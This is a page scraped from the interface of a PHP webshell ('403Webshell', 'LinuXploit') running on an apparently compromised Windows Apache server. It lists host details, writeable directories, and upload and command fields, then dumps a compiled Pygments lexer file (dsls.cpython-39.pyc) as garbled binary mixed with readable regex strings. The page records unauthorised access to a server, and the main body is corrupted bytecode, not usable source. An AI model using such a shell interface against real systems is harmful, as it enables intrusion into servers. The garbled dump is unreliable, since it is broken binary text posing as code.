403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/dsls.cpython-39.pyc
a

SҼa��@s4dZddlZddlmZmZmZmZmZmZm	Z	m
Z
mZddlm
Z
mZmZmZmZmZmZmZmZgd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZeZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"Gdd�de�Z#dS)z�
    pygments.lexers.dsls
    ~~~~~~~~~~~~~~~~~~~~

    Lexers for various domain-specific languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)	�ExtendedRegexLexer�
RegexLexer�bygroups�words�include�default�this�using�combined)	�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�
Whitespace)�
ProtoBufLexer�	ZeekLexer�PuppetLexer�RslLexer�MscgenLexer�VGLLexer�
AlloyLexer�PanLexer�
CrmshLexer�ThriftLexer�
FlatlineLexer�
SnowballLexerc@s*eZdZdZdZddgZdgZdefdefde	j
fd	e	jfed
ddd�e
fed
dd�e
jfde
jfdee
je�dfdee
je�dfdee
je�dfdefdefdejfdejfdejfdejfdejfdejfdefdeejee�fd efgd!ejd"fed"�gd!ejd"fed"�gd!ed"fed"�gd#�Zd$S)%rz|
    Lexer for `Protocol Buffer <http://code.google.com/p/protobuf/>`_
    definition files.

    .. versionadded:: 1.4
    zProtocol BufferZprotobuf�protoz*.protoz[ \t]+z[,;{}\[\]()<>]z/(\\\n)?/(\n|(.|\n)*?[^\\]\n)z/(\\\n)?\*(.|\n)*?\*(\\\n)?/)�import�option�optional�requiredZrepeatedZreservedrZpackedZctype�
extensions�to�maxZrpc�returnsZoneofZsyntax�\b��prefix�suffix)Zint32Zint64Zuint32Zuint64Zsint32Zsint64Zfixed32Zfixed64Zsfixed32Zsfixed64�float�double�bool�string�bytes�r,�(true|false)\bz(package)(\s+)�packagez(message|extend)(\s+)�messagez(enum|group|service)(\s+)�typez\".*?\"z\'.*?\'z'(\d+\.\d*|\.\d+|\d+)[eE][+-]?\d+[LlUu]*z(\d+\.\d*|\.\d+|\d+[fF])[fF]?z(\-?(inf|nan))\bz0x[0-9a-fA-F]+[LlUu]*z0[0-7]+[LlUu]*z
\d+[LlUu]*z[+-=]z([a-zA-Z_][\w.]*)([ \t]*)(=)z[a-zA-Z_][\w.]*�[a-zA-Z_]\w*�#pop)�rootr4r5r6N)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenamesrrr�Single�	Multilinerr�Type�Constantr�	Namespace�Declarationrr�Float�Hex�Oct�Integerr
r�	Attributer�Class�tokens�rNrN�8/usr/lib/python3.9/site-packages/pygments/lexers/dsls.pyrsd��������#
�
���rc@s�eZdZdZdZdgZdgZdgZed�ed�de	j
ed	d
�fde	jed	d�fd
e
ejej�dfde
ejej�dfde
ee�ejee�fed�ed�defdefdefgdejfdejfgdefdefdejfgde	jfgde	j
dfde	j
fgde	jdfd e	jfgd!ejdfed�gd"ejdfed�gd#efd$ejfd%ejfed&d'd(�ejfed)d'd(�ej fed*d'd'd+�ej!fgd,e"j#fd-e"j$fd.e"j%fgd/�
Z&d0S)1rzg
    For `Thrift <https://thrift.apache.org/>`__ interface definitions.

    .. versionadded:: 2.1
    ZThriftZthriftz*.thriftzapplication/x-thrift�
whitespace�comments�"�stringescape�dqsz\'�sqsz(namespace)(\s+)�	namespacez*(enum|union|struct|service|exception)(\s+)�classzE((?:(?:[^\W\d]|\$)[\w.\[\]$<>]*\s+)+?)((?:[^\W\d]|\$)[\w$]*)(\s*)(\()�keywords�numbersz[&=]z[:;,{}()<>\[\]]z[a-zA-Z_](\.\w|\w)*�\n�\s+�#.*$z//.*?\n�/\*[\w\W]*?\*/z\\([\\nrt"\'])r8z	[^\\"\n]+�'z
[^\\\'\n]+z[a-z*](\.\w|\w)*r7z1(async|oneway|extends|throws|required|optional)\br3z(const|typedef)\b)Z
cpp_namespaceZcpp_includeZcpp_typeZjava_packageZcocoa_prefixZcsharp_namespaceZdelphi_namespaceZ
php_namespaceZ	py_moduleZperl_packageZruby_namespaceZsmalltalk_categoryZsmalltalk_prefixZxsd_allZxsd_optionalZxsd_nillableZ
xsd_namespaceZ	xsd_attrsrr)r2)Zvoidr/ZbyteZi16Zi32Zi64r.r0Zbinary�map�list�setZslistZsenum)eZBEGINZENDZ	__CLASS__Z__DIR__Z__FILE__Z__FUNCTION__Z__LINE__Z
__METHOD__Z
__NAMESPACE__Zabstract�alias�and�args�as�assertZbegin�break�caseZcatchrW�clone�continue�declare�defr�del�delete�doZdynamic�elif�elseZelseif�elsif�endZ
enddeclareZendforZ
endforeachZendifZ	endswitchZendwhileZensure�except�exec�finallyr-�for�foreach�function�global�goto�ifZ
implementsr!�inZinlineZ
instanceof�	interface�is�lambda�moduleZnative�new�nextZnil�not�or�passZpublic�printZprivateZ	protected�raiseZredoZrescueZretry�register�return�self�sizeofZstatic�super�switch�synchronized�thenr�throwZ	transient�try�undefZunlessZunsigned�until�use�varZvirtualZvolatile�when�while�with�xor�yieldr*z1[+-]?(\d+\.\d+([eE][+-]?\d+)?|\.?\d+[eE][+-]?\d+)z[+-]?0x[0-9A-Fa-f]+z[+-]?[0-9]+)
r9rPrQrSrTrUrVrWrXrYN)'r:r;r<r=r>r?r@�	mimetypesrr�Doubler
rArrrErrrFr	rr�Functionr
rrrB�EscaperrLrDrrC�ReservedrrGrHrJrMrNrNrNrOrUs��������
�
�
�
��������'��rc@sLeZdZdZdZddgZddgZdZdZd	Z	e
d
�e
d�e
d�e
d
�e
d�e
d�e
d�e
d�e
d�dejfe
d�gde
fde
fde
fgdefgdejfdejfdejfgedddd�ejfged dd!�ejfd"eeje
eje
ej�fd#eee
eje
ee
ej�fd$eee
ee
e�fd%eee
eje
ej�fged&dd!�efd'efd(ejfd)eeje
ej�fgd*ed+fd,ejd-fd.ejfd/efd0efd1efd2ed3ejfed4ejfedejfd5ej fe	d6e	d7efgd8efd9efd:ejfd;efgd<e!fd=e!fgd>eee!�fd?efgd@ej"fdAej"fd*edBfdCefgd@ej"fdDejdBfdCejfgdE�
Z#dFS)GrzQ
    For `Zeek <https://www.zeek.org/>`_ scripts.

    .. versionadded:: 2.5
    ZZeekZzeekZbroz*.zeekz*.broz[0-9a-fA-F]z(((\d*\.?\d+)|(\d+\.?\d*))([eE][-+]?\d+)?z[A-Za-z0-9][-A-Za-z0-9]*rPrQ�
directives�
attributes�typesrX�literals�	operators�punctuationz2((?:[A-Za-z_]\w*)(?:::(?:[A-Za-z_]\w*))*)(?=\s*\()�identifiersrZr[z\\\nr\z)@(load-plugin|load-sigs|load|unload)\b.*$z=@(DEBUG|DIR|FILENAME|deprecated|if|ifdef|ifndef|else|endif)\bz(@prefixes)\s*(\+?=).*$)�redef�priority�logr#rZadd_funcZdelete_funcZexpire_funcZread_expireZwrite_expireZ
create_expirer�Z
persistentZrotate_intervalZrotate_sizeZencryptZ
raw_outputZ	mergeableZ
error_handlerZtype_column�
deprecated�&r)r*)�any�enum�recordra�tableZvectorry�hookZeventZaddrr/�countr.�file�int�interval�pattern�portr0Zsubnet�timer2zA(opaque)(\s+)(of)(\s+)((?:[A-Za-z_]\w*)(?:::(?:[A-Za-z_]\w*))*)\bzR(type)(\s+)((?:[A-Za-z_]\w*)(?:::(?:[A-Za-z_]\w*))*)(\s*)(:)(\s*)\b(record|enum)\bz<(type)(\s+)((?:[A-Za-z_]\w*)(?:::(?:[A-Za-z_]\w*))*)(\s*)(:)zI(redef)(\s+)(record|enum)(\s+)((?:[A-Za-z_]\w*)(?:::(?:[A-Za-z_]\w*))*)\b)r�Zexportr|rqrwr�r�rgr�rjZfallthroughr�rrh�addrnr��timeout�schedulez	(print)\bz(global|local|const|option)\bz4(module)(\s+)(([A-Za-z_]\w*)(?:::([A-Za-z_]\w*))*)\brRr0z/(?=.*/)�regexz(T|F)\bz \d{1,5}/(udp|tcp|icmp|unknown)\bz(\d{1,3}.){3}(\d{1,3})\bzH\[([0-9a-fA-F]{0,4}:){2,7}([0-9a-fA-F]{0,4})?((\d{1,3}.){3}(\d{1,3}))?\]z0[xX]z+\bz!\s*(day|hr|min|sec|msec|usec)s?\bz(\d+)\bz(\.z)+z[!%*/+<=>~|&^-]z([-+=&|]{2}|[+=!><-]=)z(in|as|is|of)\bz\??\$z
[{}()\[\],;.]z[?:]z([a-zA-Z_]\w*)(::)r7z\\.z%-?[0-9]*(\.[0-9]+)?[DTd-gsx]r8�.�/)
r9rPrQr�r�r�rXr�r�r�r�r0r�N)$r:r;r<r=r>r?r@Z_hexZ_floatZ_hrrr�rrZPreprocrrZPseudorCrr
�WordrLrFrErZRegexrDrrHrGrJrr�rMrNrNrNrOr�s��������������������
���
��
���rc@s�eZdZdZdZdgZdgZed�ed�ed�ed�ed	�ed
�defde	fgd
e
fde
jfgdefdej
fgdejfdeejeee�fdejfgdejfdejfdejfdejfdejjfdejfgedddd�efgdefdefgd �Zd!S)"rz_
    For `Puppet <http://puppetlabs.com/>`__ configuration DSL.

    .. versionadded:: 1.6
    ZPuppetZpuppetz*.pprQrX�namesrYr��stringsz[]{}:(),;[]�[^\S\n]+z\s*#.*$z/(\\\n)?[*](.|\n)*?[*](\\\n)?/z(=>|\?|<|>|=|\+|-|/|\*|~|!|\|)z(in|and|or|not)\br7z(\$\S+)(\[)(\S+)(\])z\$\S+z'(\d+\.\d*|\d*\.\d+)([eE][+-]?[0-9]+)?j?z\d+[eE][+-]?[0-9]+j?z	0[0-7]+j?z0[xX][a-fA-F0-9]+z\d+Lz\d+j?)mZabsentZalertrb�auditZaugeas�beforerh�checkrWZcomputerZ
configuredZ	containedZcreate_resourcesZcritZcron�debugr�define�definedZ	directoryrqrrZemerg�errruZ	extlookup�fail�falser�Z
filebucketZ	fqdn_randZgenerate�hostr|r!r�infoZinheritsZinline_templateZ	installedr~Zk5loginZlatest�linkZloglevelZmacauthorizationZ	mailaliasZmaillistZmcx�md5ZmountZmountedZnagios_commandZnagios_contactZnagios_contactgroupZnagios_hostZnagios_hostdependencyZnagios_hostescalationZnagios_hostextinfoZnagios_hostgroupZnagios_serviceZnagios_servicedependencyZnagios_serviceescalationZnagios_serviceextinfoZnagios_servicegroupZnagios_timeperiod�nodeZnoopZnotice�notifyr4ZpresentZpurgedZrealizeZregsubstZ	resources�roleZrouterZrunningr�Zscheduled_task�searchZ
selbooleanZ	selmoduleZservice�sha1Z
shellquote�splitZsprintfZssh_authorized_keyZsshkeyZstage�stoppedZ	subscribe�tagZtagged�templateZtidy�truer�Z	unmounted�userZ
versioncmpZvlanZwarningZyumrepoZzfs�zoneZzpoolz(?i)r)r*z	"([^"])*"z
'(\\'|[^'])*')r9rQr�r�rYrXr�N)r:r;r<r=r>r?r@rrrrrBr
r�rrKr�VariablerrrGrIrHrJZLongrrrMrNrNrNrOr^sT�
��
��	
�
�����rc@s�eZdZdZdZdgZdgZdgZej	ej
BZdedddd	�e
fd
e
jfdefdefd
efdefdejfdeeejee
�fde
jfde
jfdefdejfdefdejfdejfdejfdefgiZdd�ZdS)rz�
    `RSL <http://en.wikipedia.org/wiki/RAISE>`_ is the formal specification
    language used in RAISE (Rigorous Approach to Industrial Software Engineering)
    method.

    .. versionadded:: 2.0
    ZRSLZrslz*.rslztext/rslr9)JZBool�CharZIntZNatZRealrZUnit�abs�all�alwaysr�reZaxiomZcardrhZchannelZchaosrWZ
devt_relationZdomZelemsrqrprs�exists�extendr�rwZhd�hider|r}rZindsZ
initialiser�ZinterZisin�len�let�localZ
ltl_assertion�objectZof�outZpostZpre�read�real�rng�scheme�skip�stopZswapr�ZtheoryZ	test_case�tlZtransition_systemr�r6�unionr�r��value�variabler�r��writez~isinz-inflistz-infsetz-listz-setr)r*z(variable|value)\bz--.*?\nz<:.*?:>z	\{!.*?!\}�	/\*.*?\*/z^[ \t]*([\w]+)[ \t]*:[^:]z1(^[ \t]*)([\w]+)([ \t]*\([\w\s,]*\)[ \t]*)(is|as)z\b[A-Z]\w*\br3z".*"z\'.\'zq(><|->|-m->|/\\|<=|<<=|<\.|\|\||\|\^\||-~->|-~m->|\\/|>=|>>|\.>|\+\+|-\\|<->|=>|:-|~=|\*\*|<<|>>=|\+>|!!|\|=\||#)z [0-9]+\.[0-9]+([eE][0-9]+)?[fd]?z0x[0-9a-f]+�[0-9]+r�cCst�d|tj�durdSdS)zP
        Check for the most common text in the beginning of a RSL file.
        zscheme\s*.*?=\s*class\s*typeNg�?)�rer��I)�textrNrNrO�analyse_text�szRslLexer.analyse_textN)r:r;r<r=r>r?r@r�r��	MULTILINE�DOTALL�flagsrrrFrrr�rrrCrDrr�r
rrGrHrJrMr�rNrNrNrOr�sF��
����%rc@s�eZdZdZdZddgZdgZdZdej	fde
jfd	ej
fd
efdefde
jfee
jfd
edfdefed�g
dedfedeee
jejeeje�fdefed�gdejfdejfdejfgd�ZdS)rz]
    For `Mscgen <http://www.mcternan.me.uk/mscgen/>`_ files.

    .. versionadded:: 1.6
    ZMscgenZmscgenZmscz*.mscz(\w+|"(?:\\"|[^"])*")zmsc\bzO(hscale|HSCALE|width|WIDTH|wordwraparcs|WORDWRAPARCS|arcgradient|ARCGRADIENT)\bz)(abox|ABOX|rbox|RBOX|box|BOX|note|NOTE)\bz(\.|-|\|){3}zT(?:-|=|\.|:){2}|<<=>>|<->|<=>|<<>>|<:>|->|=>>|>>|=>|:>|-x|-X|<-|<<=|<<|<=|<:|x-|X-|=z\*z\[�attrsz	\{|\}|,|;rQz\]r8z
(\s*)(=)(\s*)�,z
(?://|#).*?\nz/\*(?:.|\n)*?\*/z
[ \t\r\n]+)r9r�rQN)r:r;r<r=r>r?r@Z_varrrCrZPropertyr
r��Builtinr�rrrrKrrrrrArBrMrNrNrNrOr�sD���
���	��rc
@s�eZdZdZdZdgZdgZejej	Bej
BZddej
fdejfdefd	ejfd
efdefdeeej�fd
efdefdefdefgiZdS)rz~
    For `SampleManager VGL <http://www.thermoscientific.com/samplemanager>`_
    source code.

    .. versionadded:: 1.6
    ZVGLZvglz*.rpfr9z	\{[^}]*\}rkz�(if|then|else|endif|while|do|endwhile|and|or|prompt|object|create|on|line|with|global|routine|value|endroutine|constant|global|set|join|library|compile_option|file|exists|create|copy|delete|enable|windows|name|notprotected)(?! *[=<>.,()])z$(true|false|null|empty|error|locked)z[~^*#!%&\[\]()<>|+=:;,./?-]z"[^"]*"z(\.)([a-z_$][\w$]*)z&[0-9][0-9]*(\.[0-9]+(e[+\-]?[0-9]+)?)?z
[a-z_$][\w$]*z[\r\n]+r[N)r:r;r<r=r>r?r@r�r�r��
IGNORECASEr�rrBrrDr
rrrrKrrrMrNrNrNrOr"s*���rc@s$eZdZdZdZdgZdgZdgZej	ej
BZdZde
fZded	feefed
efded	fgeeed	fgeded	feed	fgdejfd
ejfdejfedeeje
�dfdeeje
�dfdejfdejfdefdefdefdejfdeee
�dfdefdefeefdefdejfdefd e
fgd!�Zd"S)#rzU
    For `Alloy <http://alloy.mit.edu>`_ source code.

    .. versionadded:: 2.0
    ZAlloyZalloyz*.alsztext/x-alloyz[a-zA-Z_][\w\']*r�z(extends)\br8r��\{z--.*?$z//.*?$r�z(module|open)(\s+)r�z(sig|enum)(\s+)�sigz(iden|univ|none)\bz(int|Int)\bz.(this|abstract|extends|set|seq|one|lone|let)\bz"(all|some|no|sum|disj|when|else)\bz'(run|check|for|but|exactly|expect|as)\bz(and|or|implies|iff|in)\bz(fun|pred|fact|assert)(\s+)�funz!!|#|&&|\+\+|<<|>>|>=|<=>|<=|\.|->z[-+/*%=<>&!^|~{}\[\]().]z[:,]r��"(\\\\|\\[^\\]|[^"\\])*"rZ)rr�rr9N) r:r;r<r=r>r?r@r�r�r�r�r�Ziden_rexrZ
text_tuplerrrr
rrArBrrErFrDrCr�rrJrrMrNrNrNrOrDsZ������rc
@s�eZdZdZdZdgZdgZed�dedfded	fed
�ge	ddd
d�efe	ddd
d�e
jfdefde
jfdee
jee�fdefde
fdefgde
jfde
jfdefdefdefgdedfdefde
jfdefd efed!�gd"edfed!�gd#�Zd$S)%rz
    Lexer for `pan <https://github.com/quattor/pan/>`_ source files.

    Based on tcsh lexer.

    .. versionadded:: 2.0
    ZPanZpanz*.pan�basicz\(�parenr�curly�data)r|rwr�rqr6Zbindr�Zvalid�finalr+�uniquer�rxrr�ryr�Z	structureZ
extensible�declarationr)z\s*\br*)4Z
file_contents�format�index�length�match�matches�replaceZsplicer�ZsubstrZto_lowercaseZto_uppercaser��error�	tracebackr�Z
base64_decodeZ
base64_encodeZdigest�escapeZunescape�appendZcreate�firstZnlist�keyr`�merger�ZprependZ
is_booleanZ
is_definedZ	is_doubleZis_listZis_longZis_nlistZis_nullZ	is_numberZis_property�is_resourceZ	is_stringZ
to_booleanZ	to_doubleZto_longZ	to_stringrirnr�Zpath_existsZ	if_existsr�r�z#.*z\\[\w\W]z(\b\w+)(\s*)(=)z[\[\]{}()=]+z<<\s*(\'?)\\?(\w+)[\w\W]+?\2�;z!(?s)"(\\\\|\\[0-7]+|\\.|[^"\\])*"z!(?s)'(\\\\|\\[0-7]+|\\.|[^'\\])*'r[z[^=\s\[\]{}()$"\'`\\;#]+z\d+(?= |\Z)z\}r8z:-z\w+z[^}:"\'`$]+�:r9�\))r9rrrrN)r:r;r<r=r>r?r@rrrrr�rrr�rr�rr
rr�rArrMrNrNrNrOr�sV���
�����	��rc@s(eZdZdZdZddgZddgZgZeddd	�Z	ed
dd	�Z
eddd	�Zeddd	�Zed
dd	�Z
eddd	�ZdZdZdZdZddefdeejee�fdeeeee�fdefe	efe
efeefdeefejfeejfe
ejfeejfdejfdeeeee�fdeeeeej�fdefdefgiZdS)rz�
    Lexer for `crmsh <http://crmsh.github.io/>`_ configuration files
    for Pacemaker clusters.

    .. versionadded:: 2.1
    ZCrmshZcrmshZpcmkz*.crmshz*.pcmk)r�Z	primitive�groupri�ms�locationZ
colocation�orderZfencing_topologyZ
rsc_ticketZrsc_template�propertyZrsc_defaultsZop_defaultsZ
acl_targetZ	acl_groupr�r�r�z(?![\w#$-])r2)�params�metaZ
operations�opZruler�Zutilization)r�r�Zdeny)rcr�)r�Znot_defined)Zin_range�date�specr}z*(?:tag|ref|reference|attribute|type|xpath)z(?:lt|gt|lte|gte|eq|ne)z(?:string|version|number)z:(?:Master|Started|Slave|Stopped|start|promote|demote|stop)r9z^#.*\n?z!([\w#$-]+)(=)("(?:""|[^"])*"|\S+)z(node)(\s+)([\w#$-]+)(:)z([+-]?([0-9]+|inf)):z(?:%s:)?(%s)(?![\w#$-])z#[a-z]+(?![\w#$-])z(%s)(:)("(?:""|[^"])*"|\S+)z!([\w#$-]+)(?:(:)(%s))?(?![\w#$-])z(\\(?=\n)|[\[\](){}/:@])z\s+|\nN) r:r;r<r=r>r?r@r�r�elem�subZaclZbin_relZun_opsZdate_expZacl_modZbin_opsZval_qualZrsc_role_actionrrrrKrrrrrr
r�r�rMrNrNrNrOr�s\����
����rc@s�eZdZdZdZdgZgZdgZdZdZ	dZ
dd	efd
ej
fdejfdejfd
efdejfdejfeedd�efee	dd�ejfde
ejfe
ejfdefgiZdS)rzn
    Lexer for `Flatline <https://github.com/bigmlcom/flatline>`_ expressions.

    .. versionadded:: 2.2
    ZFlatlineZflatlineztext/x-flatline)r�)�z!=�*�+�-�<z<=�=�>z>=r�Zacosr�zall-butzall-with-defaultszall-with-numeric-defaultrcZasinZatanZavgz
avg-windowz
bin-centerz	bin-count�callzcategory-countZceilZcondzcond-windowZconsZcosZcoshr�zdiff-windowZdivzensure-valuezensure-weighted-valueZepochz	epoch-dayzepoch-fieldsz
epoch-hourzepoch-millisecondzepoch-minutezepoch-monthzepoch-secondz
epoch-weekdayz
epoch-yearZexp�fZfieldz
field-prop�fields�filterrZfloor�headr|r}Zinteger�languagerZlevenshteinzlinear-regressionr`Zlnr�Zlog10r_rzmatches?r'Zmaximumr�ZmeanZmedian�minZminimum�missingz
missing-countzmissing?Z
missing_count�mod�mode�	normalizer�ZnthZoccurrencesr�Z
percentilezpercentile-labelZ
populationzpopulation-fraction�powZ	preferredz
preferred?zquantile-labelZrandzrand-intzrandom-valuezre-quoter�rz
replace-first�rest�roundz
row-numberz
segment-labelr�Zsha256ZsinZsinhZsqrtZsquarezstandard-deviationZstandard_deviation�strZsubs�sumzsum-squaresz
sum-windowZsum_squaresZsummaryz
summary-nozsummary-str�tailZtanZtanhz
to-degreesz
to-radiansZvarianceZ	vectorizezweighted-random-valueZwindowZwinnowzwithin-percentiles?zz-scorez(?!#)[\w!$%*+<=>?/.#-]+r9z[,\s]+z
-?\d+\.\d+z-?\d+z0x-?[a-f\d]+rz\\(.|[a-z]+)�_� r2z(?<=\()z(\(|\))N)r:r;r<r=r>r?r@r�Z
special_forms�builtinsZ
valid_namerrrGrJrHrr�ZSymbolrrrr�r�r�rrMrNrNrNrOr
s.��rc@sNeZdZdZdZdgZdgZdZdd�Zdd	�Z	d
d�Z
dd
�Zeddd�e
jfed�gdeefdejfdejdfdefdejfdejfde
feddd�ejfeddd�ejdfeddd�e
jfeddd�ejfdeefeejeej�fd eefefd!efgd"ed#feddd�ed$fed�gd%e
d&�fgd%e
d'�fgd(�Zd,d*d+�Zd)S)-rzb
    Lexer for `Snowball <http://snowballstem.org/>`_ source code.

    .. versionadded:: 2.2
    ZSnowballZsnowballz*.sblz\n\r\t cKs|��tj|fi|��dS�N)�_reset_stringescapesr�__init__)r��optionsrNrNrOrEbszSnowballLexer.__init__cCsd|_d|_dS)Nr^)�_start�_end)r�rNrNrOrDfsz"SnowballLexer._reset_stringescapescs�fdd�}|S)Nc	3sF|��}|��}t�dt�|j��j}t�dt�|j��j}d}�}|t|�k�r4|r�|||�}||�d�t	j
|�d�fV|�d�dkr�||�d�t	j
|�d�fV|j���q4||�d�t	j
|�d�fV|��}|||�}||��t	j
|��fV|�d�|jk�r&d|jd<�q4|��}d}qH||��|_dS)	Nz([^%s]*)(.)r��r^r���T)�startrr��compilerrGrrHr�rrA�stack�popr�rs�pos)	�lexerr�ctx�sr�r0rrPZ	do_string��do_string_firstrNrO�callbackks0



z'SnowballLexer._string.<locals>.callbackrN)rUrVrNrTrO�_stringjszSnowballLexer._stringcCs6|�d�|_|�d�|_ttjttjttj�|||�S)N��)	rrGrHrrr�rrr�)rQrrRrNrNrO�_stringescapes�s��zSnowballLexer._stringescapes)r�Zlenofr)r2�root1z[%s]+z\d+r^r0z[()]r]z//.*z)[!*+\-/<=>]=|[-=]>|<[+-]|[$*+\-/<=>?\[\]])re�get�hexZamongr�ZdecimalZbackwardmode)r�ZbooleansZintegersZroutinesZ	externalsZ	groupingsr)!ror�rcrwZhopZnonr�rar�r�r{Zloopr��testr�r�ZunsetZatmarkZattachrnZgopast�insert�repeatr�ZtomarkZatleastZatlimit�reverseZsetmarkZtolimitZsetlimitZ	backwardsZ	substring)�size�limitZcursorZmaxintZminintz(stringdef\b)([%s]*)([^%s]+)z%(stringescapes\b)([%s]*)(.)([%s]*)(.)z[A-Za-z]\w*rr8)r[rz[^']*'TF)r9r[rr0rNcCs|��t�|||�SrC)rDr�get_tokens_unprocessed)r�r��contextrNrNrOrd�sz$SnowballLexer.get_tokens_unprocessed)NN) r:r;r<r=r>r?r@Z_wsrErDrWrZrr
r�rrrrJrrArrrBrr�rr�rr�rMrdrNrNrNrOrUsv�

��������
�
����
�
��1r)$r=r�Zpygments.lexerrrrrrrrr	r
Zpygments.tokenrrr
rrrrrr�__all__rrrZBroLexerrrrrrrrrrrNrNrNrO�<module>s$
,,>iW<1"<DFK

Youez - 2016 - github.com/yon3zu
LinuXploit